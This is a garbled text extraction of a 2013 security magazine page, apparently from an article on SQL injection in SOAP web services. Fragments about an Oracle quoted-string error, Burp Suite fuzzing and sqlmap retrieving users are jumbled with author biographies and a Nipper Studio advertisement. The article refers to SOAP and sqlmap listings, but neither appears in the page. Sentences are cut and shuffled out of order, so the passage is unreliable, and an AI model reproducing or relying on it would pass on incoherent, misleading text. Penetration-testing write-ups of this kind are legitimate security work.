SOAP requests gave an interesting output: "ORA-01756 quoted string not properly terminated" (in Italian) as shown in Figure 3. The SOAP request is shown in Listing 1.it FRaNcesco PeRNa Pietro Minniti is a Security Professional for over 10 years and he focused his research mainly in the ERP security field. both from the offensive and defensive point of view. because their lower exposition to the user typically leads to less attention to input validation in the code. f. So. relying only on the output of an automated tool to evaluate the security level of an application may give a false sense of security: certain class of vulnerabilities may be over rated while others are ignored and could represent a real security risk.linkedin. The sqlmap cmdline used to exploit the vulnerability and retrieve the users is shown in Listing 2.the easiest way to obtain sensitive data. It offers a very flexible way to perform fuzzing tasks regardless the underlying http based target technology.com/in/pietrominniti. The chosen payload sets are made of all the most effective payloads collected during last years pentesting activities. The tool of choice is Burp Suite. www. Input validation is even less considered when the application is designed for internal network use. In our experience in fact. The "level" parameter defines the OPEN 08/2013 Francesco Perina is a computer enthusiast since childhood and has spent more than 15 years on the research of security issues related to applications and communication protocols.com PieTRo MiNNiTi Page 73 . . Treasury already use it.titania. enabling you to maintain a higher level of vulnerability analysis in the intervals between penetration tests. so why not try it for free at www. Nipper Studio provides a thorough. FBI.titania. DoD & U. Now used in over 45 countries. Its reports are more detailed than those typically produced by scanners.com .U P D AT E NOW WITH STIG AUDITING IN SOME CASES REMOVED the HAS VIRTUALL Y nipper studio NEED FOR a MANUAL AUDIT CISCO SYSTEMS INC. Titania’s award winning Nipper Studio configuration auditing tool is helping security consultants and enduser organizations worldwide improve their network security. The NSA. fast & cost effective way to securely audit over 100 different types of network device.com www.S.
Copyright © 2024 DOKUMEN.SITE Inc.